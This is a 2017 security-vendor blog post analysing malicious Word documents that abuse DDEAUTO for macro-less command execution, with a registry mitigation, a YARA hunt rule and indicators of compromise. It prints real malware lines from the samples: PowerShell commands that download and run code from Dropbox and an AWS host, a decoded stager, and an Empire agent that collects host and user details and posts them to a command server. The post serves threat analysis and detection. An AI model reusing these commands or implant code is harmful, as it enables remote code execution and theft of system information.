Microsoft Office DDE Macro-less Command Execution Vulnerability

Posted on 2017-10-13 by Pedram Amini

On October 9th 2017, SensePost researchers posted a technique demonstrating macro-less command execution in Microsoft Office documents through Dynamic Data Exchange (DDE). While variations of this technique are known, the post shed light on the fact that Microsoft has no intent to address the matter, and that "exploit" creation is trivial. We'll kick this blog off with a mitigation for the attack, toggle the following registry key:

```
HKCU\Software\Microsoft\Office\XX.Y\Word\Options\DontUpdateLinks = REG_DWORD 0x01
```

Where "XX.Y" above maps to your version of Office. You can also reference the following STIG finding V-17811.

For anyone interested in following the highlights of the conversation, we're maintaining the following Twitter "moment" to capture relevant references and conversation surrounding the issue, detection, hunting, payloads, and mitigations:

- Microsoft Office DDE Macro-less Command Execution Vulnerability

In anticipation of threat actors adopting this technique for their campaigns, we created the following Virus Total Intelligence (VTI) hunt rule to begin collecting in-the-wild samples:

- https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule

We've predominantly seen collected samples come in two forms:

- Microsoft DOCX format (Word 2007+)
- Microsoft Composite Document File (CDFv2) format

In the case of CDF format the DDEAUTO is visible plainly from the file, for example from the following sample 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 (1/60 AV detection rate):

```
... trimmed for brevity ...
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13 DDEAUTO
c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source
"https://www.dropbox[.]com/s/or2llvdmli1bw4o/index.js?dl=1" -Destination "index.js" & start
c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js"\x14!Final de f\xF3rmula
inesperado\x15\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```

Incidentally, That payload pivots through cscript.exe to extract, decode, and execute Zusy malware from index.js.

In the case of DOCX format samples, you'll need to decompress the sample first. For an example of that, let's consider the following interesting sample that came up from our hunts: 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 (9/60 AV detection rate)

First we download the sample, confirm it's DOCX, then unzip:

```
$ vt download 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13

$ file 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13: Microsoft Word 2007+

$ unzip -p 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13]
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
```

Note that generally you can use unzip to decompress these samples, but the malware author took an extra step here to evade detection; Microsoft parsers are famously forgiving. Look at some of the work from Corkami or Alex Sotirov's Tiny PE work, to get an idea of how flexible the PE parser is for example. We switch to using 7Zip, which works. Additionally, we use Sed to strip the XML to reveal the payload, which is hosted on Amazon AWS:

```
$ 7z e -so 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml | sed
's/<[^>]*>//g'

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object
System.Net.WebClient).DownloadString('http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1');powershell -e
$e " !Unexpected End of Formula
```

Next we pull down the payload, which is base64 encoded. Note the usage of Internet Explorer 11 user-agent. Also note that the next payload is XOR encoded and the key for decoding it is "294aa01c70a8f958a016e582d0bd4ab9".

```
$ wget http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1

$ cat DDE2.ps1 | base64 -D
[SystEM.NET.SerViCEPOiNTMaNaGer]::EXPeCt100COnTinue = 0;$wc=NEw-ObJecT SYstEm.NET.WEBCLIENT;$u='Mozilla/5.0
(Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEAdeRs.Add('User-
Agent',$u);$wC.PROXY = [SySTeM.Net.WebREQueSt]::DEFAultWebPROxY;$wC.PrOxY.CrEDEntIAlS =
[SYSteM.NEt.CRedEntialCaChe]::DeFaUlTNEtWorKCRedEnTIAlS;$K='294aa01c70a8f958a016e582d0bd4ab9';$I=0;[Char[]]$B=
([cHar[]]($Wc.DoWNLoADSTring("https://23.239.28[.]30:443/index.asp")))|%{$_-BXOr$K[$i++%$k.LEnGtH]};IEX ($B-
Join'')
```

The trail leads from HTTP on EC2 to HTTPS Linode, let's see what we have there. Note that the certificate isn't valid.

```
$ wget https://23.239.28.30:443/index.asp --no-check-certificate
--2017-10-12 16:04:31--  https://23.239.28.30/index.asp
Connecting to 23.239.28.30:443... connected.
WARNING: cannot verify 23.239.28.30's certificate, issued by ‘CN=Let's Encrypt Authority X3,O=Let's
Encrypt,C=US’:
  Unable to locally verify the issuer's authority.
    WARNING: certificate common name ‘web01.allcleardata.com’ doesn't match requested host name ‘23.239.28.30’.
HTTP request sent, awaiting response... 200 OK
Length: unspecified
Saving to: ‘index.asp’

2017-10-12 16:04:31 (67.4 MB/s) - ‘index.asp’ saved [2898]
```

The bytes in index.asp are XOR encoded, let's decode that with a python one-liner:

```
$ python -c 'import itertools; print "".join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(open("index.asp",
"rb").read(), itertools.cycle("294aa01c70a8f958a016e582d0bd4ab9")))'
FUnCTION StaRT-NEGotiAte{param($s,$SK,$UA="lol")Add-TYPE -aSSeMbLY SysTEM.SeCURITY;ADD-Type -AssEMBLY
SyStem.CORE;$ErrorActionPreference = "SilentlyContinue";$e=[SySTEM.TeXT.EncODing]::ASCII;$AES=NEW-OBJECT
SYsTEm.SecurITY.CrYPTogRApHy.AesCRyPtOSeRvIcEProviDer;$IV = [byTe] 0..255 | GEt-RaNdOM -cOUNT 16;$AES.Mode="CBC";
$AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$CSP = NEw-ObJeCt SYstEm.SEcURiTy.CrYptogRapHy.CspParAmeteRs;$csp.FLAGs
= $CSp.FLaGS -BOR [SysteM.SeCuriTy.CRYPtOGraPhY.CspPrOVIderFLAGs]::USeMAChinEKEyStORE;$Rs = NeW-OBjecT
SYSteM.SEcuRiTY.CrYPtoGRaPhy.RSACRYptOSeRVICePROViDer -ARgumENtList
2048,$CsP;$rK=$rS.ToXMLSTRING($FAlSE);$r=1..16|ForEACH-OBjECt{GET-RAndom -MAX 26};$ID=
('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -join
'');$Ib=$E.GeTBYTes($RK);$eB=$IV+$AES.CREATeEncRYPTor().TrAnsFoRmFinalBlocK($IB,0,$Ib.LengTH);If(-nOT $Wc)
{$Wc=new-oBjECT SySTem.NET.WEBCLieNT;$wc.PrOXY =
[SYSTem.NEt.WeBREQUEsT]::GeTSySteMWeBPROxY();$wc.ProXy.CREDentIaLS =
[SYStem.NEt.CrEDenTiAlCacHe]::DEFAuLtCREdEnTIALS;}$wc.Headers.Add("User-
Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$De=$e.GeTSTR
-joIn'';$key=$de[10..$De.Length] -JoiN '';$AES=New-ObjeCT
System.SeCurItY.CRYPtOGRaPhy.AesCrYptOSerVicePRoviDEr;$IV = [bYtE] 0..255 | Get-RanDOM -cOUNt 16;$AES.Mode="CBC";
$AES.Key=$e.GetBytes($key); $AES.IV = $IV;$I=$S+'|'+[EnvIROnmENT]::UseRDOMAinNAMe+'|'+
[ENViRONMEnT]::UsERNaMe+'|'+[EnVIRONMENt]::MACHineNAme;$p=(GWMi
WIN32_NeTwoRkAdaptErCoNfIguRaTIoN|WHErE{$_.IPAddRESS}|SelECT -EXpAND IPAddRESs);$iP = @{$TruE=$p[0];$FALSe=$P}
[$P.LengTh -Lt 6];if(!$Ip -or $IP.triM() -eq '') {$Ip='0.0.0.0'};$i+="|$ip";$I+='|'+(Get-WmiOBject
Win32_OPerATIngSySTEm).Name.spLit('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else
{$i += "|" +([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]
"Administrator")}$N=[System.DiaGNostiCS.ProCEss]::GETCUrrEnTPrOceSS();$I+='|'+$n.PROCessName+'|'+$N.Id;$I += '|'
+
$PSVERSiONTaBLE.PSVerSIon.MaJOR;$ib2=$E.GeTbYtEs($I);$eB2=$IV+$AES.CREatEENCRYpTor().TransFOrmFinAlBloCK($ib2,0,$I
Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NEw-ObjEct
SYstem.SecuritY.CrYpTOGraPHY.AEsCrypToSErViCePROViDER;$AES.Mode="CBC";$IV =
$raw[0..15];$AES.KEY=$e.GETByTES($KEy);$AES.IV = $IV;IEX $([SysTeM.TExT.ENcODINg]::ASCII.GeTStrinG(
$($AES.CREAtEDECryPtoR().TRAnSFoRmFiNALBloCK($RAW[16..$RAW.LEngtH],0,$rAw.LENGtH-
16))));$AES=$NUlL;$S2=$NULL;$wc=$NULl;$Eb2=$NULl;$raw=$nuLl;$IV=$NulL;$wc=$NulL;$i=$nulL;$iB2=$nUlL;
[GC]::COlLECt();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch
$epoch;} Start-Negotiate -s "https://23.239.28[.]30:443/"; -SK '294aa01c70a8f958a016e582d0bd4ab9' -UA $u;
```

Looks like the final payload is Empire which, when executed, will post back to that same Linode server. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see www.InQuest.net or reach out to us directly.

IOCs

- 23.239.28[.]30
- 54.158.67[.]5
- ec2-54-158-67-5.compute-1.amazonaws[.]com

Tags

vulnerability | threat-hunting | deep-file-inspection | malware-analysis | YARA

Other Blog Articles →

Schedule a Free Demo →

2403 East 16th Street Studio Q
Austin, Texas 78702
USA

Schedule a Free Demo

+1 (866) 982-0561

SUPPORT WEB
support.inquest.net

SUPPORT
support@.inquest.net

SALES
sales@inquest.net

PGP KEY
inquest.pgp